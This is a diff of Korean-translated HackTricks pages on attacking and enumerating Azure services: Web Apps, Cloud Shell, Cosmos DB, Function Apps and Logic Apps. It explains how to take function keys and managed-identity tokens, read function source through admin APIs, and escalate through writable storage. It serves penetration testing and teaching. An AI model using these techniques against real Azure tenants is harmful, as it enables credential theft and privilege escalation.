Get-AzWebAppSlotContinuousWebJob -ResourceGroupName <ResourceGroupName> -AppName <AppName> -SlotName <SlotName>
|
||||
|
||||
# Retrieves the traffic routing rules for a Web App.
|
||||
Get-AzWebAppTrafficRouting -ResourceGroupName <ResourceGroupName> -WebAppName <WebAppName> -RuleName <RuleName>
|
||||
|
||||
# Retrieves details of a specific backup for a Web App.
|
||||
Get-AzWebAppBackup -ResourceGroupName <ResourceGroupName> -Name <Name> -BackupId <BackupId>
|
||||
# Retrieves the backup configuration for a Web App.
|
||||
Get-AzWebAppBackupConfiguration -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
# Retrieves the list of all backups for a Web App.
|
||||
Get-AzWebAppBackupList -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
|
||||
@@ -0,0 +1,58 @@
|
||||
# Az - Cloud Shell
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure Cloud Shell
|
||||
|
||||
**Azure Cloud Shell**는 Azure 리소스를 관리하기 위해 설계된 대화형 인증 브라우저 접근 터미널로, Bash 또는 PowerShell 중 하나로 작업할 수 있는 유연성을 제공합니다. 이 서비스는 비활성 상태가 20분이 지나면 타임아웃되는 임시 세션 호스트에서 실행되며, $HOME 위치에 5-GB 파일 공유를 사용하여 파일을 유지합니다. Cloud Shell은 Azure 포털, shell.azure.com, Azure CLI 및 PowerShell 문서, Azure 모바일 앱, Visual Studio Code Azure 계정 확장 등 여러 지점을 통해 접근할 수 있습니다.
|
||||
|
||||
이 서비스에는 권한이 할당되지 않으므로 권한 상승 기술이 없습니다. 또한 어떤 종류의 열거도 없습니다.
|
||||
|
||||
### 주요 기능
|
||||
|
||||
**환경**: Azure Cloud Shell은 클라우드 인프라를 위해 설계된 Microsoft의 자체 Linux 배포판인 Azure Linux에서 실행되어 안전한 환경을 제공합니다. Azure Linux 리포지토리에 포함된 모든 패키지는 공급망 공격을 방지하기 위해 Microsoft에 의해 내부적으로 컴파일됩니다.
|
||||
**사전 설치된 도구**: Cloud Shell에는 Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git 및 vim, nano, emacs와 같은 텍스트 편집기와 같은 포괄적인 사전 설치 도구 세트가 포함되어 있습니다. 이러한 도구는 즉시 사용할 수 있습니다. 설치된 패키지 및 모듈을 나열하려면 "Get-Module -ListAvailable", "tdnf list" 및 "pip3 list"를 사용할 수 있습니다.
|
||||
**$HOME 지속성**: Azure Cloud Shell을 처음 시작할 때, 연결된 스토리지 계정이 있거나 없거나 사용할 수 있습니다. 스토리지를 연결하지 않으면 세션이 종료될 때 파일이 삭제되는 일시적인 세션이 생성됩니다. 세션 간 파일을 유지하려면 스토리지 계정을 마운트해야 하며, 이는 자동으로 **$HOME\clouddrive**로 연결되며, **$HOME** 디렉토리는 Azure File Share에 **.img** 파일로 저장됩니다. 그러나 $HOME 외부의 파일과 머신 상태는 유지되지 않습니다. SSH 키와 같은 비밀을 안전하게 저장하려면 Azure Key Vault를 사용하십시오.
|
||||
**Azure 드라이브 (Azure:)**: Azure Cloud Shell의 PowerShell에는 Azure 리소스(Compute, Network, Storage 등)를 파일 시스템과 유사한 명령을 사용하여 쉽게 탐색할 수 있는 Azure 드라이브(Azure:)가 포함되어 있습니다. cd Azure:로 Azure 드라이브로 전환하고 cd ~로 홈 디렉토리로 돌아갈 수 있습니다. 여전히 Azure PowerShell cmdlet을 사용하여 모든 드라이브에서 리소스를 관리할 수 있습니다.
|
||||
**사용자 정의 도구 설치**: 스토리지 계정으로 Cloud Shell을 구성한 사용자는 루트 권한이 필요하지 않은 추가 도구를 설치할 수 있습니다. 이 기능은 Cloud Shell 환경을 추가로 사용자 정의할 수 있게 하여 사용자가 특정 요구에 맞게 설정을 조정할 수 있도록 합니다.
|
||||
|
||||
## 참조
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||
* [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
|
||||
|
||||
## 지속성
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-cloud-shell-persistence.md" %}
|
||||
[az-cloud-shell-persistence.md](../az-privilege-escalation/az-cloud-shell-persistence.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -21,7 +21,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).p
|
||||
|
||||
Azure Cosmos DB는 문서, 관계형, 키-값, 그래프 및 열 패밀리 데이터 모델을 사용하여 실제 데이터를 모델링하기 위한 여러 데이터베이스 API를 제공합니다. 이 API는 NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin 및 Table입니다.
|
||||
|
||||
CosmosDB의 주요 측면 중 하나는 Azure Cosmos Account입니다. **Azure Cosmos Account**는 데이터베이스에 대한 진입점 역할을 합니다. 계정은 글로벌 분배, 일관성 수준 및 사용할 특정 API(예: NoSQL)와 같은 주요 설정을 결정합니다. 계정을 통해 여러 지역에서 데이터에 대한 저지연 액세스를 보장하기 위해 글로벌 복제를 구성할 수 있습니다. 또한 성능과 데이터 정확성 간의 균형을 맞추는 일관성 수준을 선택할 수 있으며, 강력한 일관성에서 최종 일관성까지의 옵션이 제공됩니다.
|
||||
CosmosDB의 주요 측면 중 하나는 Azure Cosmos Account입니다. **Azure Cosmos Account**는 데이터베이스에 대한 진입점 역할을 합니다. 계정은 글로벌 분배, 일관성 수준 및 사용할 특정 API(예: NoSQL)와 같은 주요 설정을 결정합니다. 계정을 통해 여러 지역에서 데이터에 대한 저지연 액세스를 보장하기 위해 글로벌 복제를 구성할 수 있습니다. 또한 성능과 데이터 정확성 간의 균형을 맞추는 일관성 수준을 선택할 수 있으며, 강력한 일관성에서 최종 일관성까지의 옵션이 있습니다.
|
||||
|
||||
### NoSQL (sql)
|
||||
Azure Cosmos DB NoSQL API는 JSON을 데이터 형식으로 사용하는 문서 기반 API입니다. JSON 객체를 쿼리하기 위한 SQL 유사 쿼리 구문을 제공하여 구조화된 데이터 및 반구조화된 데이터 작업에 적합합니다. 서비스의 엔드포인트는 다음과 같습니다:
|
||||
@@ -36,7 +36,7 @@ https://<Account-Name>.documents.azure.com:443/
|
||||
계정 내에서 하나 이상의 데이터베이스를 생성할 수 있으며, 이는 컨테이너의 논리적 그룹으로 작용합니다. 데이터베이스는 리소스 관리 및 사용자 권한의 경계 역할을 합니다. 데이터베이스는 컨테이너 간에 프로비저닝된 처리량을 공유하거나 개별 컨테이너에 전용 처리량을 할당할 수 있습니다.
|
||||
|
||||
#### 컨테이너
|
||||
데이터 저장의 핵심 단위는 컨테이너로, JSON 문서를 보유하고 있으며 효율적인 쿼리를 위해 자동으로 인덱싱됩니다. 컨테이너는 탄력적으로 확장 가능하며, 사용자 정의 파티션 키에 의해 결정된 파티션에 분산됩니다. 파티션 키는 최적의 성능과 고른 데이터 분포를 보장하는 데 중요합니다. 예를 들어, 컨테이너는 "customerId"를 파티션 키로 하여 고객 데이터를 저장할 수 있습니다.
|
||||
데이터 저장의 핵심 단위는 컨테이너로, JSON 문서를 보유하고 있으며 효율적인 쿼리를 위해 자동으로 인덱싱됩니다. 컨테이너는 탄력적으로 확장 가능하며, 사용자 정의 파티션 키에 의해 결정된 파티션에 분산됩니다. 파티션 키는 최적의 성능과 고른 데이터 분포를 보장하는 데 중요합니다. 예를 들어, 컨테이너는 고객 데이터를 저장할 수 있으며, "customerId"가 파티션 키로 사용될 수 있습니다.
|
||||
|
||||
#### 열거
|
||||
|
||||
@@ -247,7 +247,6 @@ az cosmosdb mongodb collection list --account-name <AccountName> --database-name
|
||||
az cosmosdb mongodb role definition list --account-name <AccountName> --resource-group <ResourceGroupName>
|
||||
# List all user definitions for MongoDB within an Azure Cosmos DB account
|
||||
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
@@ -363,7 +362,7 @@ GCP 해킹 배우고 연습하기: <img src="../../../.gitbook/assets/image (2)
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
||||
@@ -15,7 +15,7 @@
|
||||
- **Traditional Consumption Plan**: 기본 서버리스 옵션으로, **함수가 실행될 때만 컴퓨트 리소스에 대해 지불**합니다. 수신 이벤트에 따라 자동으로 스케일링되며 **콜드 스타트 최적화**가 포함되어 있지만, 컨테이너 배포는 지원하지 않습니다. 자동 스케일링이 필요한 **간헐적 작업 부하**에 이상적입니다.
|
||||
- **Premium Plan**: **일관된 성능**을 위해 설계되었으며, 콜드 스타트를 없애기 위해 **사전 예열된 작업자**를 제공합니다. **연장된 실행 시간, 가상 네트워킹**을 제공하며 **사용자 정의 Linux 이미지**를 지원하여 높은 성능과 고급 기능이 필요한 **미션 크리티컬 애플리케이션**에 적합합니다.
|
||||
- **Dedicated Plan**: 예측 가능한 청구가 가능한 전용 가상 머신에서 실행되며, 수동 또는 자동 스케일링을 지원합니다. 동일한 요금제에서 여러 앱을 실행할 수 있으며, **컴퓨트 격리**를 제공하고 App Service Environments를 통해 **안전한 네트워크 액세스**를 보장하여 일관된 리소스 할당이 필요한 **장기 실행 애플리케이션**에 이상적입니다.
|
||||
- **Container Apps**: 관리되는 환경에서 **컨테이너화된 함수 앱**을 배포할 수 있으며, 마이크로서비스 및 API와 함께 사용할 수 있습니다. 사용자 정의 라이브러리, 레거시 앱 마이그레이션 및 **GPU 처리**를 지원하여 Kubernetes 클러스터 관리를 없애줍니다. **이벤트 기반, 확장 가능한 컨테이너화된 애플리케이션**에 적합합니다.
|
||||
- **Container Apps**: 관리되는 환경에서 **컨테이너화된 함수 앱**을 배포할 수 있으며, 마이크로서비스 및 API와 함께 사용할 수 있습니다. 사용자 정의 라이브러리, 레거시 앱 마이그레이션 및 **GPU 처리**를 지원하여 Kubernetes 클러스터 관리를 없앱니다. **이벤트 기반, 확장 가능한 컨테이너화된 애플리케이션**에 적합합니다.
|
||||
|
||||
### **스토리지 버킷**
|
||||
|
||||
@@ -24,9 +24,9 @@
|
||||
또한, 버킷 내의 코드를 수정하면 (저장될 수 있는 다양한 형식에서) **앱의 코드가 새 코드로 수정되어 다음에 함수가 호출될 때 실행됩니다**.
|
||||
|
||||
> [!CAUTION]
|
||||
> 공격자의 관점에서 매우 흥미로운 점은 **이 버킷에 대한 쓰기 권한**이 있으면 공격자가 **코드를 손상시키고 Function App 내의 관리되는 ID에 대한 권한을 상승시킬 수 있다는 점입니다**.
|
||||
> 공격자의 관점에서 매우 흥미로운 점은 **이 버킷에 대한 쓰기 권한**이 공격자가 **코드를 손상시키고 Function App 내의 관리되는 ID에 대한 권한을 상승시킬 수 있게 해준다는 것입니다.**
|
||||
>
|
||||
> 이에 대한 자세한 내용은 **권한 상승 섹션**에서 확인할 수 있습니다.
|
||||
> 이에 대한 자세한 내용은 **권한 상승 섹션**에서 다룹니다.
|
||||
|
||||
또한, **`azure-webjobs-secrets`** 컨테이너 내의 스토리지 계정에서 **마스터 및 함수 키**를 찾는 것도 가능합니다. 이 키는 **`<app-name>`** 폴더 내의 JSON 파일에서 찾을 수 있습니다.
|
||||
|
||||
@@ -40,41 +40,41 @@ HTTP 트리거를 사용하여:
|
||||
- **내부 네트워크(VPC)**에서 Function App에 대한 액세스를 **제공하거나 제한**할 수 있습니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> 공격자의 관점에서 매우 흥미로운 점은 취약한 Function이 인터넷에 노출된 경우 **내부 네트워크로 피벗할 수 있는 가능성이 있다는 점입니다**.
|
||||
> 공격자의 관점에서 매우 흥미로운 점은 취약한 Function이 인터넷에 노출될 경우 **내부 네트워크로 피벗할 수 있는 가능성이 있다는 것입니다.**
|
||||
|
||||
### **Function App 설정 및 환경 변수**
|
||||
|
||||
앱 내에서 환경 변수를 구성할 수 있으며, 이 변수는 민감한 정보를 포함할 수 있습니다. 또한 기본적으로 **`AzureWebJobsStorage`** 및 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(기타 포함)과 같은 환경 변수가 생성됩니다. 이들은 **애플리케이션 데이터가 포함된 스토리지 계정을 완전 권한으로 제어할 수 있는 계정 키를 포함하고 있기 때문에 특히 흥미롭습니다**. 이러한 설정은 스토리지 계정에서 코드를 실행하는 데에도 필요합니다.
|
||||
앱 내에서 환경 변수를 구성할 수 있으며, 이 변수는 민감한 정보를 포함할 수 있습니다. 또한 기본적으로 **`AzureWebJobsStorage`** 및 **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**(기타 포함)과 같은 env 변수가 생성됩니다. 이들은 **애플리케이션 데이터가 포함된 스토리지 계정을 완전한 권한으로 제어하는 계정 키를 포함**하고 있어 특히 흥미롭습니다. 이러한 설정은 스토리지 계정에서 코드를 실행하는 데에도 필요합니다.
|
||||
|
||||
이러한 환경 변수 또는 구성 매개변수는 함수가 코드를 실행하는 방식을 제어합니다. 예를 들어 **`WEBSITE_RUN_FROM_PACKAGE`**가 존재하면 애플리케이션 코드가 위치한 URL을 나타냅니다.
|
||||
이러한 env 변수 또는 구성 매개변수는 함수가 코드를 실행하는 방식을 제어합니다. 예를 들어 **`WEBSITE_RUN_FROM_PACKAGE`**가 존재하면 애플리케이션 코드가 위치한 URL을 나타냅니다.
|
||||
|
||||
### **Function Sandbox**
|
||||
|
||||
리눅스 샌드박스 내에서 소스 코드는 **`/home/site/wwwroot`**의 **`function_app.py`** 파일에 위치하며(파이썬을 사용하는 경우), 코드를 실행하는 사용자는 **`app`**입니다(권한 없음).
|
||||
|
||||
**Windows** 함수에서 NodeJS를 사용하는 경우 코드는 **`C:\home\site\wwwroot\HttpTrigger1\index.js`**에 위치하며, 사용자 이름은 **`mawsFnPlaceholder8_f_v4_node_20_x86`**이고 **그룹**은 `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`입니다.
|
||||
**Windows** 함수에서 NodeJS를 사용하는 경우 코드는 **`C:\home\site\wwwroot\HttpTrigger1\index.js`**에 위치하며, 사용자 이름은 **`mawsFnPlaceholder8_f_v4_node_20_x86`**이고 **그룹**의 일부입니다: `Mandatory Label\High Mandatory Level Label`, `Everyone`, `BUILTIN\Users`, `NT AUTHORITY\INTERACTIVE`, `CONSOLE LOGON`, `NT AUTHORITY\Authenticated Users`, `NT AUTHORITY\This Organization`, `BUILTIN\IIS_IUSRS`, `LOCAL`, `10-30-4-99\Dwas Site Users`.
|
||||
|
||||
### **관리되는 ID 및 메타데이터**
|
||||
|
||||
[**VMs**](vms/index.html)와 마찬가지로 Functions는 **시스템 할당** 및 **사용자 할당**의 두 가지 유형의 **관리되는 ID**를 가질 수 있습니다.
|
||||
[**VMs**](vms/index.html)와 마찬가지로, Functions는 **시스템 할당** 및 **사용자 할당**의 두 가지 유형의 **관리되는 ID**를 가질 수 있습니다.
|
||||
|
||||
**시스템 할당**된 ID는 **해당 함수**만 사용할 수 있는 관리되는 ID이며, **사용자 할당**된 관리되는 ID는 **다른 Azure 서비스가 사용할 수 있는 관리되는 ID**입니다.
|
||||
|
||||
> [!NOTE]
|
||||
> [**VMs**](vms/index.html)와 마찬가지로 Functions는 **1개의 시스템 할당** 관리되는 ID와 **여러 사용자 할당** 관리되는 ID를 가질 수 있으므로, 함수를 손상시키면 모든 관리되는 ID를 찾는 것이 항상 중요합니다. 하나의 Function에서 여러 관리되는 ID로 권한을 상승시킬 수 있습니다.
|
||||
> [**VMs**](vms/index.html)와 마찬가지로, Functions는 **1개의 시스템 할당** 관리되는 ID와 **여러 사용자 할당** 관리되는 ID를 가질 수 있으므로, 함수를 손상시키면 모든 관리되는 ID를 찾는 것이 항상 중요합니다. 하나의 Function에서 여러 관리되는 ID로 권한을 상승시킬 수 있습니다.
|
||||
>
|
||||
> 시스템 관리 ID가 사용되지 않고 하나 이상의 사용자 관리 ID가 함수에 연결된 경우 기본적으로 토큰을 얻을 수 없습니다.
|
||||
> 시스템 관리 ID가 사용되지 않고 하나 이상의 사용자 관리 ID가 함수에 연결된 경우, 기본적으로 토큰을 얻을 수 없습니다.
|
||||
|
||||
[**PEASS 스크립트**](https://github.com/peass-ng/PEASS-ng)를 사용하여 메타데이터 엔드포인트에서 기본 관리 ID의 토큰을 얻을 수 있습니다. 또는 다음과 같이 **수동으로** 얻을 수 있습니다:
|
||||
[**PEASS 스크립트**](https://github.com/peass-ng/PEASS-ng)를 사용하여 메타데이터 엔드포인트에서 기본 관리되는 ID의 토큰을 얻을 수 있습니다. 또는 다음과 같이 **수동으로** 얻을 수 있습니다:
|
||||
|
||||
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
|
||||
|
||||
함수가 연결된 모든 관리되는 ID를 **확인하는 방법을 찾아야** 하며, 이를 지정하지 않으면 메타데이터 엔드포인트는 **기본 ID만 사용합니다**(자세한 내용은 이전 링크를 확인하세요).
|
||||
함수가 연결된 모든 관리되는 ID를 **확인하는 방법을 찾아야** 하며, 이를 지정하지 않으면 메타데이터 엔드포인트는 **기본 ID만 사용**합니다(자세한 내용은 이전 링크를 참조).
|
||||
|
||||
## 액세스 키
|
||||
|
||||
> [!NOTE]
|
||||
> 함수 호출을 위해 사용자에게 액세스를 부여하는 RBAC 권한이 없다는 점에 유의하세요. **함수 호출은 생성 시 선택된 트리거에 따라 달라지며**, HTTP 트리거가 선택된 경우 **액세스 키**를 사용해야 할 수 있습니다.
|
||||
> 함수 호출에 대한 액세스를 사용자에게 부여하는 RBAC 권한이 없음을 유의하십시오. **함수 호출은 생성 시 선택된 트리거에 따라 달라지며, HTTP 트리거가 선택된 경우 **액세스 키**를 사용해야 할 수 있습니다.**
|
||||
|
||||
HTTP 트리거를 사용하여 함수 내에서 엔드포인트를 생성할 때, 함수 트리거에 필요한 **액세스 키 권한 수준**을 지정할 수 있습니다. 세 가지 옵션이 있습니다:
|
||||
|
||||
@@ -86,8 +86,8 @@ HTTP 트리거를 사용하여 함수 내에서 엔드포인트를 생성할 때
|
||||
|
||||
- **Function Keys:** 함수 키는 기본 또는 사용자 정의일 수 있으며, Function App 내의 **특정 함수 엔드포인트**에만 접근을 허용하도록 설계되었습니다.
|
||||
- **Host Keys:** 호스트 키는 기본 또는 사용자 정의일 수 있으며, FUNCTION 접근 수준으로 Function App 내의 **모든 함수 엔드포인트**에 접근을 제공합니다.
|
||||
- **Master Key:** 마스터 키(`_master`)는 모든 함수 엔드포인트에 대한 접근을 포함하여 **승격된 권한**을 제공하는 관리 키입니다. 이 **키는 취소할 수 없습니다.**
|
||||
- **System Keys:** 시스템 키는 **특정 확장에 의해 관리**되며, 내부 구성 요소에서 사용하는 웹훅 엔드포인트에 접근하는 데 필요합니다. 예를 들어, 이벤트 그리드 트리거 및 내구성 함수는 시스템 키를 사용하여 해당 API와 안전하게 상호작용합니다.
|
||||
- **Master Key:** 마스터 키(`_master`)는 모든 함수 엔드포인트에 대한 접근을 포함하여 권한이 상승된 관리 키로, 이 **키는 취소할 수 없습니다.**
|
||||
- **System Keys:** 시스템 키는 **특정 확장에 의해 관리**되며, 내부 구성 요소에서 사용하는 웹훅 엔드포인트에 접근하는 데 필요합니다. 예를 들어, Event Grid 트리거 및 Durable Functions는 시스템 키를 사용하여 해당 API와 안전하게 상호작용합니다.
|
||||
|
||||
> [!TIP]
|
||||
> 키를 사용하여 함수 API 엔드포인트에 접근하는 예:
|
||||
@@ -96,7 +96,7 @@ HTTP 트리거를 사용하여 함수 내에서 엔드포인트를 생성할 때
|
||||
|
||||
### 기본 인증
|
||||
|
||||
App Services와 마찬가지로 Functions는 **SCM** 및 **FTP**에 연결하여 코드를 배포하기 위해 Azure에서 제공하는 **사용자 이름과 비밀번호가 포함된 URL**을 사용하여 기본 인증을 지원합니다. 이에 대한 자세한 내용은:
|
||||
App Services와 마찬가지로, Functions는 **SCM** 및 **FTP**에 연결하여 코드를 배포하기 위해 Azure에서 제공하는 **사용자 이름과 비밀번호가 포함된 URL**을 사용하여 기본 인증을 지원합니다. 이에 대한 자세한 내용은:
|
||||
|
||||
{{#ref}}
|
||||
az-app-services.md
|
||||
@@ -104,7 +104,7 @@ az-app-services.md
|
||||
|
||||
### Github 기반 배포
|
||||
|
||||
함수가 Github 리포지토리에서 생성될 때 Azure 웹 콘솔은 **특정 리포지토리에서 자동으로 Github 워크플로를 생성**할 수 있도록 하여 이 리포지토리가 업데이트될 때마다 함수의 코드가 업데이트됩니다. 실제로 파이썬 함수에 대한 Github Action yaml은 다음과 같습니다:
|
||||
함수가 Github 리포지토리에서 생성될 때 Azure 웹 콘솔은 **특정 리포지토리에서 자동으로 Github Workflow를 생성**할 수 있게 해주며, 이 리포지토리가 업데이트될 때마다 함수의 코드가 업데이트됩니다. 실제로 파이썬 함수에 대한 Github Action yaml은 다음과 같습니다:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -192,18 +192,22 @@ package: ${{ env.AZURE_FUNCTIONAPP_PACKAGE_PATH }}
|
||||
```
|
||||
</details>
|
||||
|
||||
또한, **Managed Identity**가 생성되어 리포지토리의 Github Action이 이를 사용하여 Azure에 로그인할 수 있습니다. 이는 **Managed Identity**에 대해 연합 자격 증명을 생성하여 **Issuer** `https://token.actions.githubusercontent.com`와 **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`를 허용함으로써 이루어집니다.
|
||||
또한, **Managed Identity**가 생성되어 리포지토리의 Github Action이 이를 사용하여 Azure에 로그인할 수 있습니다. 이는 **Managed Identity**에 대해 **Issuer** `https://token.actions.githubusercontent.com`와 **Subject Identifier** `repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>`를 허용하는 Federated credential을 생성함으로써 이루어집니다.
|
||||
|
||||
> [!CAUTION]
|
||||
> 따라서 해당 리포지토리를 손상시키는 사람은 기능과 이에 연결된 Managed Identities를 손상시킬 수 있습니다.
|
||||
> 따라서, 해당 리포지토리를 손상시키는 사람은 함수와 그에 연결된 Managed Identities를 손상시킬 수 있습니다.
|
||||
|
||||
### Container Based Deployments
|
||||
### 컨테이너 기반 배포
|
||||
|
||||
모든 요금제가 컨테이너 배포를 허용하는 것은 아니지만, 허용하는 경우 구성에는 컨테이너의 URL이 포함됩니다. API에서 **`linuxFxVersion`** 설정은 `DOCKER|mcr.microsoft.com/...`와 같은 형태를 가질 것이며, 웹 콘솔에서는 구성에 **image settings**가 표시됩니다.
|
||||
|
||||
또한, **소스 코드는 함수와 관련된 스토리지** 계정에 저장되지 않습니다. 필요하지 않기 때문입니다.
|
||||
|
||||
## Enumeration
|
||||
## 열거
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List all the functions
|
||||
az functionapp list
|
||||
@@ -249,6 +253,30 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
|
||||
# Get source code
|
||||
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.Functions
|
||||
|
||||
# Lists all Function Apps in the current subscription or in a specific resource group.
|
||||
Get-AzFunctionApp -ResourceGroupName <String>
|
||||
|
||||
# Displays the regions where Azure Function Apps are available for deployment.
|
||||
Get-AzFunctionAppAvailableLocation
|
||||
|
||||
# Retrieves details about Azure Function App plans in a subscription or resource group.
|
||||
Get-AzFunctionAppPlan -ResourceGroupName <String> -Name <String>
|
||||
|
||||
# Retrieves the app settings for a specific Azure Function App.
|
||||
Get-AzFunctionAppSetting -Name <FunctionAppName> -ResourceGroupName <ResourceGroupName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## 권한 상승
|
||||
|
||||
{{#ref}}
|
||||
|
||||
@@ -11,7 +11,7 @@ Logic Apps는 **광범위한 사전 구축된 커넥터**를 사용하여 워크
|
||||
### 예시
|
||||
|
||||
- **데이터 파이프라인 자동화**: Logic Apps는 Azure Data Factory와 결합하여 **데이터 전송 및 변환 프로세스**를 자동화할 수 있습니다. 이는 Azure SQL Database와 Azure Blob Storage와 같은 다양한 데이터 저장소 간에 데이터를 이동하고 변환하는 확장 가능하고 신뢰할 수 있는 데이터 파이프라인을 생성하는 데 유용하며, 분석 및 비즈니스 인텔리전스 작업에 도움을 줍니다.
|
||||
- **Azure Functions와 통합**: Logic Apps는 Azure Functions와 함께 작동하여 **필요에 따라 확장되는 정교한 이벤트 기반 애플리케이션을 개발**하고 다른 Azure 서비스와 원활하게 통합할 수 있습니다. 사용 사례의 예로는 Logic App을 사용하여 Azure Storage 계정의 변경과 같은 특정 이벤트에 응답하여 Azure Function을 트리거하는 것이 있으며, 이를 통해 동적 데이터 처리가 가능합니다.
|
||||
- **Azure Functions와 통합**: Logic Apps는 Azure Functions와 함께 작동하여 **필요에 따라 확장되는 정교한 이벤트 기반 애플리케이션을 개발**하고 다른 Azure 서비스와 원활하게 통합할 수 있습니다. 예를 들어, Logic App을 사용하여 Azure Storage 계정의 변경과 같은 특정 이벤트에 응답하여 Azure Function을 트리거하는 사용 사례가 있습니다. 이를 통해 동적 데이터 처리가 가능합니다.
|
||||
|
||||
### LogicAPP 시각화
|
||||
|
||||
@@ -30,34 +30,260 @@ Logic Apps는 **광범위한 사전 구축된 커넥터**를 사용하여 워크
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
